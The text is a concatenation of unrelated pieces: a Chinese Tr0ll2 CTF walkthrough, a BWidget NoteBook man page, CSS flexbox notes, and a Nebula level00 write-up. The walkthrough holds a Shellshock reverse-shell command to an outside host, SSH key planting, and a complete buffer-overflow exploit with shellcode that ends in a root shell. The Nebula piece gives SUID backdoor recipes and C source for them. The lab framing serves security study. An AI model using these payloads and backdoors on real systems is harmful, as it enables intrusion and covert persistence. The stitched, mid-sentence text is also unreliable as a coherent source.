/bin/bash' id uid=1002(noob) gid=1002(noob) groups=1002(noob) ``` 设置反弹shell ``` ┌──(root💀kali)-[/tmp] └─# ssh noob@192.168.32.173 -i noob '() { :;}; bash -i >& /dev/tcp/192.168.32.130/9999 0>&1' ``` ![image-20220718122632513](../../.gitbook/assets/image-20220718122632513.png) 自己创建公钥,写入公钥 ``` noob@Tr0ll2:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkRJczX8jfQF3VDcaXFq/OfG5GtLCTES4du0IgNnXgswgDuhiJWGjg4jflfEMuMJfix6MXSBOlPQKAYo95EsFDd9wgQjvg8tdXpMkM/g6VlC7eaSxqtGPTr7CzCEqgRkQZ+97Lg66I9s7AwygjA1osNUQZJiwRzpfhk7VfYQG/xG4t9OCCIeysQ1mJxIi3OQGhBtEtC2JJ1m2ikp4h/+yMfqdSijemo/5jf+yXjGzIs04ozVYfu33Rn7ELHBEveuNjtXgOyzZbVDVNfohD/4W/iK9SHA8Ytt1PwqzQr3Rz7G8K8CNF1Qo9dppHFyjoonCPZOjt8MCudqNvjslHIa6P root@kali" >> authorized_keys ``` 寻找SUID二进制文件 ``` noob@Tr0ll2:~$ /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null <000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null -rwsr-xr-x 1 root root 31116 Apr 8 2012 /bin/su -rwsr-xr-x 1 root root 67720 Mar 29 2012 /bin/umount -rwsr-xr-x 1 root root 34740 Nov 8 2011 /bin/ping -rwsr-xr-x 1 root root 88760 Mar 29 2012 /bin/mount -rwsr-xr-x 1 root root 26252 Mar 2 2012 /bin/fusermount -rwsr-xr-x 1 root root 39116 Nov 8 2011 /bin/ping6 -rwsr-xr-x 1 root root 40292 Apr 8 2012 /usr/bin/chfn -rwsr-xr-x 1 root root 30896 Apr 8 2012 /usr/bin/newgrp -rwsr-xr-x 2 root root 69708 May 31 2012 /usr/bin/sudoedit -rwsr-xr-x 1 root root 41284 Apr 8 2012 /usr/bin/passwd -rwsr-xr-x 1 root root 56208 Jul 28 2011 /usr/bin/mtr -rwsr-xr-x 2 root root 69708 May 31 2012 /usr/bin/sudo -rwsr-xr-x 1 root root 31748 Apr 8 2012 /usr/bin/chsh -rwsr-xr-x 1 root root 14012 Nov 8 2011 /usr/bin/traceroute6.iputils -rwsr-xr-x 1 root root 57956 Apr 8 2012 /usr/bin/gpasswd -rwsr-xr-- 1 root dip 273272 Feb 4 2011 /usr/sbin/pppd -rwsr-xr-x 1 root root 9728 Aug 27 2014 /usr/lib/pt_chown drwsr-xr-x 3 root root 4096 Oct 14 2014 /nothing_to_see_here drwsr-xr-x 5 root root 4096 Oct 4 2014 /nothing_to_see_here/choose_wisely drwsr-xr-x 2 root root 4096 Oct 5 2014 /nothing_to_see_here/choose_wisely/door2 drwsr-xr-x 2 root root 4096 Oct 5 2014 /nothing_to_see_here/choose_wisely/door3 drwsr-xr-x 2 root root 4096 Oct 4 2014 /nothing_to_see_here/choose_wisely/door1 ``` 为了进一步检查,我们运行 r00t 程序并将一千个字符"A"作为输入传递给它。然后程序返回一条"Segmentation fault"消息,表明存在缓冲区溢出漏洞。 ![image-20220718135104228](../../.gitbook/assets/image-20220718135104228.png) 现在我们使用名为"pattern_create.rb"的 metasploit 工具创建具有指定长度的不同字符模式(在我们的例子中,我们使用 1000 作为长度),因此我们将该模式传递给易受攻击的程序以帮助我们确定 EIP(扩展指令指针)位置。然后我们获取覆盖 EIP 的返回值并将其传递给 pattern_offset.rb。 ``` ┌──(root💀kali)-[~/Desktop] └─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B ``` > **注意:** r00t 程序经常更改其门目录,因此您需要牢记这一点。还有一个"硬模式"可以阻止您使用"ls"2 分钟。另外,请记住,如果您看到该消息"干得好,待命,正在执行 root shell……"。知道这是一个陷阱,您的连接将被关闭,因此您需要立即使用"Ctrl + c"终止程序并将您的目录更改为任何其他门。 ``` noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ gdb -q r00t Reading symbols from /nothing_to_see_here/choose_wisely/door2/r00t...done. (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B Starting program: /nothing_to_see_here/choose_wisely/door2/r00t Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B Program received signal SIGSEGV, Segmentation fault. 0x6a413969 in ?? () (gdb) ``` 然后我们使用另一个名为"patern_offset.rb"的metasploit工具来帮助我们确定EIP位置,其中偏移量表示缓冲区起始地址和EBP(扩展基指针)地址之间的距离,以及EBP地址上方的四个字节是 EIP(或返回地址)的位置,其大小为四个字节。 ``` ┌──(root💀kali)-[~/Desktop] └─# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6a413969 [*] Exact match at offset 268 ``` 随后,我们运行 r00t 程序并将 268 个字符的"A"和 4 个字符的"B"传递给它,以确保我们可靠地控制 EIP。从返回值"0x42424242",即十六进制中的四个 B,我们确信我们可以可靠地覆盖 EIP。 ``` gdb -q r00t r $(python -c 'print "A" * 268 + "B" * 4') ``` ![image-20220718135450234](../../.gitbook/assets/image-20220718135450234.png) 现在我们正在寻找 ESP(扩展堆栈指针)地址以将其传递给 r00t 程序,而不是四个"B"。因此,我们决定在修改后的环境中使用 gdb 调试器运行 r00t 程序。我们取消设置所有环境变量(LINES 和 COLUMNS)以避免在没有调试器的情况下运行 r00t 程序时获得无效的 ESP 地址,因为当任何程序被执行时,环境变量被推入堆栈,因此当您运行时堆栈可能看起来更深调试器中的程序比正常运行它可能会影响 ESP 地址。我们运行 r00t 程序并将之前的输入传递给它,但这次我们添加了 16 个 nop sled "\x90" 以确保执行我们稍后将创建的 shellcode 和 100 个字符 "C"稍后将被 shellcode 替换。 ``` noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ env - gdb r00t GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04 Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://bugs.launchpad.net/gdb-linaro/>... Reading symbols from /nothing_to_see_here/choose_wisely/door2/r00t...done. (gdb) ``` ``` (gdb) show env LINES=51 COLUMNS=117 (gdb) unset env LINES (gdb) unset env COLUMNS (gdb) r $(python -c 'print "A" * 268 + "B" * 4 + "\x90" * 16 + "C" * 100') Starting program: /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A" * 268 + "B" * 4 + "\x90" * 16 + "C" * 100') Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) info registers eax 0x184 388 ecx 0x0 0 edx 0x0 0 ebx 0xb7fd1ff4 -1208147980 esp 0xbffffc80 0xbffffc80 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x210282 [ SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 ``` ![image-20220718135641398](../../.gitbook/assets/image-20220718135641398.png) 然后我们使用 msfvenom 创建我们的 shellcode,其中排除了以下常见的坏字符 - \x00:空字节 - \x0a:换行 - \x0d:回车 这些坏字符可能会破坏 shellcode 并导致漏洞利用失败。 ``` ┌──(root💀kali)-[~/Desktop] └─# msfvenom -p linux/x86/exec -f py CMD="/bin/sh" -b '\x00\x0a\x0d' [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 70 (iteration=0) x86/shikata_ga_nai chosen with final size 70 Payload size: 70 bytes Final size of py file: 357 bytes buf = b"" buf += b"\xba\xd6\xd3\x1b\x41\xda\xc0\xd9\x74\x24\xf4\x58\x31" buf += b"\xc9\xb1\x0b\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2" buf += b"\x23\xb9\x10\x19\x52\x6c\x41\xf1\x49\xf2\x04\xe6\xf9" buf += b"\xdb\x65\x81\xf9\x4b\xa5\x33\x90\xe5\x30\x50\x30\x12" buf += b"\x4a\x97\xb4\xe2\x64\xf5\xdd\x8c\x55\x8a\x75\x51\xfd" buf += b"\x3f\x0c\xb0\xcc\x40" ``` 之后,我们通过将 ESP 地址修改为逆序(通常称为小端字节序)来准备我们的恶意输入。然后我们在修改后的环境中运行程序,并将包含 shellcode 的恶意输入传递给它,最后我们得到了一个 root shell 和 Proof.txt 文件。 ``` noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ env - ./r00t $(python -c 'print "A" * 268 + "\x80\xfc\xff\xbf" + "\x90" * 16 + "\xdb\xd6\xb8\xac\x61\x13\xf8\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\x59\x0b\x18\xa0\x38\x9e\x78\x38\x17\x7c\x0c\x5f\x0f\xad\x7d\xc8\xcf\xd9\xae\x6a\xa6\x77\x38\x89\x6a\x60\x32\x4e\x8a\x70\x6c\x2c\xe3\x1e\x5d\xc3\x9b\xde\xf6\x70\xd2\x3e\x35\xf6"') # id uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob) # cat /root/ ``` ``` # cat Proof.txt You win this time young Jedi... a70354f0258dcc00292c72aab3c8b1e4 ```
sec-knowleage
.TH NoteBook 3tk "tcllib - BWidget" .SH NAME .B NoteBook - 笔记本管理器组件 .SH 创建 CREATION .B NoteBook pathName ?option value...? .SH 描述 DESCRIPTION NoteBook 组件管理一组页面并显示其中一个。 .SH 组件特有选项 WIDGET-SPECIFIC OPTIONS .TP -height 为页面指定想要的高度。如果这个选项等于零(缺省的),则这个窗口根本不要求任何大小。在这种情况下,用户可以调用 NoteBook::compute_size 来使 NoteBook 足够大得包含最大的页面。 .TP -homogeneous 指定页面的标签是否有相同的宽度。 .TP -side (read-only) 指定靠那边放置页面的标签。必须是 top 或 bottom 之一。目前只实现了 top。 .TP -width 为页面指定想要的宽度。如果这个选项等于零(缺省的),则这个窗口根本不要求任何大小。在这种情况下,用户可以调用 NoteBook::compute_size 来使 NoteBook 足够大得包含最大的页面。 .SH 组件命令 .TP pathName bindtabs event script 这个命令把在用 event 给出的时间序列发生时要执行的一个命令关联到一个标贴(tab)上。把在它的上面发生事件的页面的标识符添加到这个命令上。 .TP pathName cget option 返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。 .TP pathName compute_size 调用这个命令使笔记本足够大得包含最大的页。注意如果所有的页面都使用了 -createcmd,则它们没有要求的大小。 .TP pathName configure ?option? ?value option value ...? 查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。 .TP pathName delete page ?destroyframe? 删除这个页面。如果 destroyframe 是 1 (缺省的),销毁与 page 相关的框架。如果 destroyframe 是 0,则不销毁这个框架,以便将来用 insert 调用重新使用同一个的 page。 .TP pathName getframe page 返回页面 page 的路径名。 .TP pathName index page 返回对应于这个项目的数值索引。 .TP pathName insert index page ?option value...? 在页面列表中位置 index 上插入用 page 标识的一个新页面。index 必须是数值或 end。返回这个新页面的路径名。 -createcmd 指定在第一次提升(raise)这个页面的时候调用的命令。 -image 为这个页面指定在标签的左面显示的图象。 -leavecmd 指定在要离开(leave)一个页面的时候调用的一个命令。如果这个页面可以离开则这个命令必须返回 0,如果可以离开则返回 1。 -raisecmd 指定在每次提升这个页面的时候调用的命令。 -state 指定这个页面的状态。必须是 normal 或 disabled. -text 为这个页面指定要显示的一个标签。 .TP pathName itemcget page option 返回这个项目的一个配置选项的当前值。Option 可以是这个项目建立命令能接受的任何值。 .TP pathName itemconfigure page ?option? ?value option value ...? 这个命令类似于 configure 命令,但是它为单独的项目提供选项,而 configure 为作为整体的组件提供选项。Options 可以是项目建立组件命令可接受的任何值。如果指定了选项,则依据命令的指示修改选项并且命令返回一个空串。如果未指定选项,则返回描述这个项目的当前选项的一个列表。只读选项不能修改。 .TP pathName move page index 把 page 的标贴移动到到索引 index。 .TP pathName page first ?last? 反对使用它,建议替代为 pages。 如果省略了 last,则返回在索引 first 上的页面,如果 first 引用一个不存在的页面则返回空串。如果指定了 last,则这个命令返回一个列表,它的元素是在 first 和 last 之间(包含二者)的所有页面。first 和 last 二者可以是索引的任何标准形式。 .TP pathName pages ?first? ?last? 如果省略了 first 和 last,则返回所有页面的一个列表。如果指定了 first 而省略了 last,则返回在索引 first 上的页面,如果 first 引用一个不存在的元素则返回空串。如果指定了 first 和 last,则这个命令返回一个列表,它的元素是在 first 和 last 之间(包含二者)的所有页面。first 和 last 二者可以是索引的任何标准形式。 .TP pathName raise ?page? 提升(raise)页面 page,如果省略了 page 则返回突出的(raised)页面。 .TP pathName see page 卷绕(scroll)标签来使页面 page 的标签可见。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/05/11 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# 弹性布局(Flex) Flex(Flexible Box) 我们这里一般作为display的一个属性使用,用于设置或检索弹性盒模型对象的子元素如何分配空间。 ### Flex 布局的使用 任何一个容器都可以指定为 Flex 布局。 ``` .box{ display: flex; //flex作为display的一个属性使用 } ``` 行内元素也可以使用 Flex 布局。 ``` .box{ display: inline-flex; } ``` Webkit 内核的浏览器,必须加上-webkit前缀。 ``` .box{ display: -webkit-flex; /* Safari */ display: flex; } ``` **注意**:设为 Flex 布局以后,子元素的`float`、`clear`和`vertical-align`属性将失效。 ### 基本概念 采用`Flex`布局的元素,称为 Flex 容器(flex container),简称"容器"。它的所有子元素自动成为容器成员,称为 Flex 项目(flex item),简称"项目"。 <img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071004.png" alt="弹性盒子" /> 容器默认存在两根轴:水平的主轴(main axis)和垂直的交叉轴(cross axis)。 主轴的开始位置(与边框的交叉点)叫做main start,结束位置叫做main end; 交叉轴的开始位置叫做cross start,结束位置叫做cross end。 项目默认沿主轴排列。单个项目占据的主轴空间叫做main size, 占据的交叉轴空间叫做cross size。 ### 容器的属性 >**`flex-direction`属性**:决定主轴的方向(即项目的排列方向) - row(默认值):主轴为水平方向,起点在左端 - row-reverse:主轴为水平方向,起点在右端 - column:主轴为垂直方向,起点在上沿 - column-reverse:主轴为垂直方向,起点在下沿 >**`flex-wrap`属性**:如何换行 - nowrap(默认):不换行 - wrap:换行,第一行在上方 - wrap-reverse:换行,第一行在下方 >**`justify-content`属性**:项目在主轴上的对齐方式 - flex-start(默认值):左对齐 - flex-end:右对齐 - center: 居中 - space-between:两端对齐,项目之间的间隔都相等 - space-around:每个项目两侧的间隔相等,项目之间的间隔比项目与边框的间隔大一倍 >**` align-items`属性**:项目在交叉轴(横轴)上如何对齐 - stretch(默认值):如果项目未设置高度或设为auto,将占满整个容器的高度 - baseline: 项目的第一行文字的基线对齐 - flex-start:交叉轴的起点对齐 - flex-end:交叉轴的终点对齐 - center:交叉轴的中点对齐 >**`align-content`属性**:多根轴线的对齐方式 - stretch(默认值):轴线占满整个交叉轴 - flex-start:与交叉轴的起点对齐 - flex-end:与交叉轴的终点对齐 - center:与交叉轴的中点对齐 - space-between:与交叉轴两端对齐,轴线之间的间隔平均分布 - space-around:每根轴线两侧的间隔都相等。所以,轴线之间的间隔比轴线与边框的间隔大一倍 **注意**:如果项目只有一根轴线,该属性不起作用 ### 项目的属性 >**`order`属性**:项目在交叉轴的排列顺序。数值越小,排列越靠前。 - 0(默认值)从小到大排列 - -1从大到小排列 >**`flex-grow`属性**:项目在主轴上的放大比例 - 0(默认值),如果存在剩余空间,也不放大 - 如果所有项目的`flex-grow`属性都为1,则它们将等分剩余空间(如果有的话)。如果一个项目的`flex-grow`属性为2,其他项目都为1,则前者占据的剩余空间将比其他项多一倍。 >**`flex-shrink`属性**:项目在主轴上的缩小比例 - 1(默认值),如果所有项目值都为1,当空间不足时,都将等比例缩小 - 0,如果一个项目的属性为0,其他项目都为1,则空间不足时,前者不缩小 **注意**:负值对该属性无效 >**`flex-basis`属性**:项目占据的主轴空间(main size) - auto(默认值),即项目的本来大小 - css样式给的大小,项目将占据固定空间 >**`align-self`属性**:允许单个项目有与其他项目不一样的对齐方式,可覆盖align-items属性。 - auto(默认值),表示继承父元素的align-items属性,如果没有父元素,则等同于stretch。 - align-items的其他值 - ### 参考 - W3Cflex:[点击进入](http://www.w3school.com.cn/cssref/pr_box-flex.asp) - MDN官网Flex:[点击进入](https://developer.mozilla.org/zh-CN/docs/Web/CSS/flex) - 阮一峰Flex日志:[点击进入](http://www.ruanyifeng.com/blog/2015/07/flex-grammar.html)
sec-knowleage
# Level00 #### About This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories. Alternatively, look at the find man page. To access this level, log in as level00 with the password of level00. #### Source code There is no source code available for this level #### Solutions ``` 1. find / -perm -u+s -uid `id -u flag00` -type f 2>/dev/null find / -perm -4000 -uid `id -u flag00` -type f 2>/dev/null find / -type f -perm -4000 -uid `id -u flag00` -exec md5sum {} \; 2>/dev/null ----> 4d0a23fc7855e3dc128c76e18beb11b1 /bin/.../flag00 ----> 4d0a23fc7855e3dc128c76e18beb11b1 /rofs/bin/.../flag00 2. /bin/.../flag00 3. getflag ``` #### SUID backdoor ``` su root cp /bin/bash /tmp/rootshell chmod u+s ~/rootshell su [someuser] /tmp/rootshell ``` ``` #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { seteuid( 0 ); // ---- Ubuntu/... setuid( 0 ); system( "/bin/sh" ); return 0; } ``` ``` #include <stdio.h> int main() { setresuid(0, 0, 0); execve("/bin/sh"); } ``` #### Recommend A. How to find SUID or GUID files ? find / -perm 755 # 权限为755 find / -perm -4000 # 权限包含SUID即可 find / -perm /4000 # rwx rwx rwx 111 111 111 -perm mode mode 表示精确的权限位(可以是八进制数或符号)。如果想要使用符号位进行权限匹配,需要指定一个复杂的符号位字符串. 如果mode给的权限位不足3位,那么前面自动加0. 例如: -perm g=w,只匹配权限为0020的文件(只有用户的组具备写权限)。类似的还有 '/' 或 '-', 例如: -perm -g=w,匹配组权限可写的所有文件. File's permission bits are exactly mode (octal or symbolic). Since an exact match is required, if you want to use this form for symbolic modes, you may have to specify a rather complex mode string. For example -perm g=w will only match files which have mode 0020 (that is, ones for which group write permission is the only permission set). It is more likely that you will want to use the `/' or `-' forms, for example -perm -g=w, which matches any file with group write permission. See the EXAMPLES section for some illustrative examples. -perm -mode 所有为1的权限位必须都匹配. 文件所有设定的权限位。使用符号权限位时,需指定'u','g', 'o'. All of the permission bits mode are set for the file. Symbolic modes are accepted in this form, and this is usually the way in which would want to use them. You must specify `u', `g' or `o' if you use a symbolic mode. See the EXAMPLES section for some illustrative examples. -perm /mode 匹配任意为1的权限位. 文件任意权限位。使用符号权限位时,需指定'u','g', 'o'。如果未设定权限位,将会匹配任意文件(等效于-perm -000) Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form. You must specify `u', `g' or `o' if you use a symbolic mode. See the EXAMPLES section for some illustrative examples. If no permission bits in mode are set, this test matches any file (the idea here is to be consistent with the behaviour of -perm -000). -perm +mode 已经弃用,查询某种权限位的设置,等效于 -perm /mode. Deprecated, old way of searching for files with any of the permission bits in mode set. You should use -perm /mode instead. Trying to use the `+' syntax with symbolic modes will yield surprising results. For example, `+u+x' is a valid symbolic mode (equivalent to +u,+x, i.e. 0111) and will therefore not be evaluated as -perm +mode but instead as the exact mode specifier -perm mode and so it matches files with exact permissions 0111 instead of files with any execute bit set. If you found this paragraph confusing, you're not alone - just use -perm /mode. This form of the -perm test is deprecated because the POSIX specification requires the interpretation of a leading `+' as being part of a symbolic mode, and so we switched to using `/' instead. find /tmp -name core -type f -print | xargs /bin/rm -f # 如果文件名中包含core,就删除它 find /tmp -name core -type f -print0 | xargs -0 /bin/rm -f # 如果文件名中包含空格,引号,换行符,也可以正确处理. find /sbin /usr/sbin -executable \! -readable -print # 寻找可执行,不可读的文件. find /tmp -type f -exec md5sum {} \; 2>/dev/null # 对每个对象执行操作 #### Questions * 如何查找SUID程序? * 如何利用SUID制作后门 ? * 文件权限(挂载选项--mount/fstab) ``` root@nebula:/home/level00# mount /cow on / type overlayfs (rw) proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) fusectl on /sys/fs/fuse/connections type fusectl (rw) udev on /dev type devtmpfs (rw,mode=0755) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620) tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755) /dev/sr0 on /cdrom type iso9660 (ro,noatime) /dev/loop0 on /rofs type squashfs (ro,noatime) none on /sys/kernel/debug type debugfs (rw) none on /sys/kernel/security type securityfs (rw) tmpfs on /tmp type tmpfs (rw,nosuid,nodev) none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880) none on /run/shm type tmpfs (rw,nosuid,nodev) root@nebula:/home/level00# cat /etc/fstab overlayfs / overlayfs rw 0 0 tmpfs /tmp tmpfs nosuid,noexec,nodev 0 0 root@nebula:/home/level00# mount -o remount,noexec /tmp root@nebula:/home/level00# mount /cow on / type overlayfs (rw) proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) fusectl on /sys/fs/fuse/connections type fusectl (rw) udev on /dev type devtmpfs (rw,mode=0755) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620) tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755) /dev/sr0 on /cdrom type iso9660 (ro,noatime) /dev/loop0 on /rofs type squashfs (ro,noatime) none on /sys/kernel/debug type debugfs (rw) none on /sys/kernel/security type securityfs (rw) tmpfs on /tmp type tmpfs (rw,noexec,nosuid,nodev) none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880) none on /run/shm type tmpfs (rw,nosuid,nodev) root@nebula:/home/level00# ls /tmp/ root.c rootshell tmux-1001 root@nebula:/home/level00# /tmp/rootshell 